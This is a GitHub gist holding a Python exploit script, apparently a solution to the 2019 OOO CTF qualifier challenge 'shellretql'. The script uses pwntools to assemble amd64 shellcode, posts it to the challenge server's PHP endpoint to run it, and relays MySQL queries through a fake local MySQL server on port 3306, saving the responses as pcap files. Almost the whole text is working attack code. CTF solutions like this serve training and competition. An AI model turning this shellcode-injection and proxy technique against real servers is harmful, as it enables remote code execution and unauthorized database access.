Skip to content

Instantly share code, notes, and snippets.

@darkarnium
Created May 12, 2019 01:21
Show Gist options
  • Save darkarnium/ec11b6babdfbe04c49ad13e7111b9bba to your computer and use it in GitHub Desktop.
Save darkarnium/ec11b6babdfbe04c49ad13e7111b9bba to your computer and use it in GitHub Desktop.
MySQL Proxy for OOO
import sys
import struct
import pprint
from pwn import *
import requests
def _pcap_hdr():
pcap_hdr_s = bytearray([
0xd4, 0xc3, 0xb2, 0xa1, # Magic_number.
0x02, 0x00, # Major version number.
0x04, 0x00, # Minor version number.
0x00, 0x00, 0x00, 0x00, # GMT to local correction.
0x00, 0x00, 0x00, 0x00, # Accuracy of timestamps.
0x00, 0x00, 0x04, 0x00, # Max length of packets (octets).
0x01, 0x00, 0x00, 0x00, # Data link type.
])
return pcap_hdr_s
def _cap_hdr(cap_sz):
cap_hdr_s = bytearray()
cap_hdr_s.extend([
0xb0, 0xe8, 0xd6, 0x5c, # Timestamp seconds.
0x15, 0x59, 0x03, 0x00, # Timestamp micro seconds.
])
cap_hdr_s.extend(
struct.pack("I", cap_sz), # Number of octets saved.
)
cap_hdr_s.extend(
struct.pack("I", cap_sz), # Actual size of packet.
)
return cap_hdr_s
def _ether_hdr():
ether_hdr_s = bytearray()
ether_hdr_s.extend([
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Destination address.
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # Source address.
0x08, 0x00, # Protocol.
])
return ether_hdr_s
def _ip_hdr(ip_sz):
ip_hdr_s = bytearray()
ip_hdr_s.extend([
0x45, # Version << 4 | header length >> 2
0x00, # Type of service.
])
ip_hdr_s.extend(
struct.pack(">H", ip_sz), # Total length.
)
ip_hdr_s.extend([
0x9e, 0xa3, # Identification
0x40, 0x00, # Flags.
0x40, # TTL.
0x06, # Protocol.
0xff, 0xff, # Checksum.
0x7f, 0x00, 0x00, 0x01, # Source address.
0x7f, 0x00, 0x00, 0x01, # Destination address.
])
# Checksum hack.
return ip_hdr_s
def _tcp_hdr():
tcp_hdr_s = bytearray()
tcp_hdr_s.extend([
0x0c, 0xea, # Sourceport.
0xab, 0x9c, # Destination port.
0x7d, 0x5c, 0x66, 0x64, # Sequence number.
0x19, 0x82, 0xe8, 0x30, # Acknowledgement number.
0x80, 0x18, # Flags.
0x0e, 0x35, # Window size.
0xfe, 0x38, # Checksum.
0x00, 0x00, # Urgent pointer.
0x01, 0x01, 0x08, 0x0a, # Options.
0xe9, 0xed, 0x69, 0xe7, #
0xe9, 0xed, 0x50, 0xa1, #
])
return tcp_hdr_s
# Alright, build the capture. The sizes will need to be adjusted based on
# the size of the payload.
def build_pcap(payload):
with open('output.pcap', 'wb') as fin:
pl = bytearray(payload)
# Calculate the size of the relevant chunks for building the PCAP.
ip_sz = len(_ip_hdr(0)) + len(_tcp_hdr()) + len(pl)
pcap_sz = len(_pcap_hdr()) + len(_cap_hdr(0))
capture_sz = ip_sz + len(_ether_hdr())
# Debug.
print '[-] PCAP Header Size: {}'.format(pcap_sz)
print '[-] Capture Size: {}'.format(capture_sz)
print '[-] IP Size: {}'.format(ip_sz)
# Build it!
fin.write(_pcap_hdr())
fin.write(_cap_hdr(capture_sz))
fin.write(_ether_hdr())
fin.write(_ip_hdr(ip_sz))
fin.write(_tcp_hdr())
fin.write(pl)
def _do_request(query):
context.arch = "amd64"
context.os = "linux"
host = "http://shellretql.quals2019.oooverflow.io:9090/cgi-bin/"
html = "\r\n".join(
[
"X-Powered-By: PHP/7.0.28-0ubuntu0.16.04.1",
"Content-Type: text/html; charset=UTF-8",
"",
"",
]
)
shellcode = ""
shellcode += shellcraft.echo(p16(len(query)) + "\x00\x00\x03" + query , 4)
shellcode += shellcraft.read(4, 'rsp', 200)
shellcode += shellcraft.pushstr(html)
shellcode += shellcraft.write(1, 'rsp', 500)
data = {
"shell": asm(shellcode) + "\x00"
}
resp = requests.post(host + "index.php", data=data)
# Process the query.
my_raw = bytearray(resp.content)[3:]
my_hdr = my_raw[0:5]
# # Get the length of the first packet.
pkt_len = my_raw[5:8]
pkt_len.extend([0x0]) # Pad due to 3-byte integer.
pkt_len = struct.unpack("<I", pkt_len)[0]
# Calculate the packet end by adding the length to the size of the header,
# and friends.
pkt_end = len(my_hdr) * 2 + pkt_len - 1
return my_raw
# build_pcap(my_raw[:pkt_end])
def _get_len(header):
# Get the first three bytes, which will tell us how much to read.
readlen = bytearray()
readlen.extend(header)
readlen.extend([0x0])
return struct.unpack("<i", readlen)[0]
if __name__ == '__main__':
#
# Setup the proxy.
#
l = listen(3306)
c = l.wait_for_connection()
# Pretend we're a server.
l.send(
"{0}{1}{2}{3}{4}".format(
"5b0000000a352e372e32362d307562756e7475302e313",
"82e30342e3100040000003a7546583e55517200fff708",
"0200ff8115000000000000000000002b105e74417c072",
"c5b610e3a006d7973716c5f6e61746976655f70617373",
"776f726400",
).decode("hex")
)
# Get the client authentication request, and throw it away \o/
readlen = _get_len(l.recv(3))
l.recv(1)
l.recv(readlen)
# Give them an OK.
l.send("0700000200000002000000".decode("hex"))
# Get the client's request, proxy to the server, and get the result.
while True:
# Get the length, and throw away the next two fields.
readlen = _get_len(l.recv(3))
l.recv(2)
# Proxy to the mother ship, and forward the response.
query = l.recv(readlen) + ';'
resp = _do_request(query)
build_pcap(resp)
l.send(resp)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment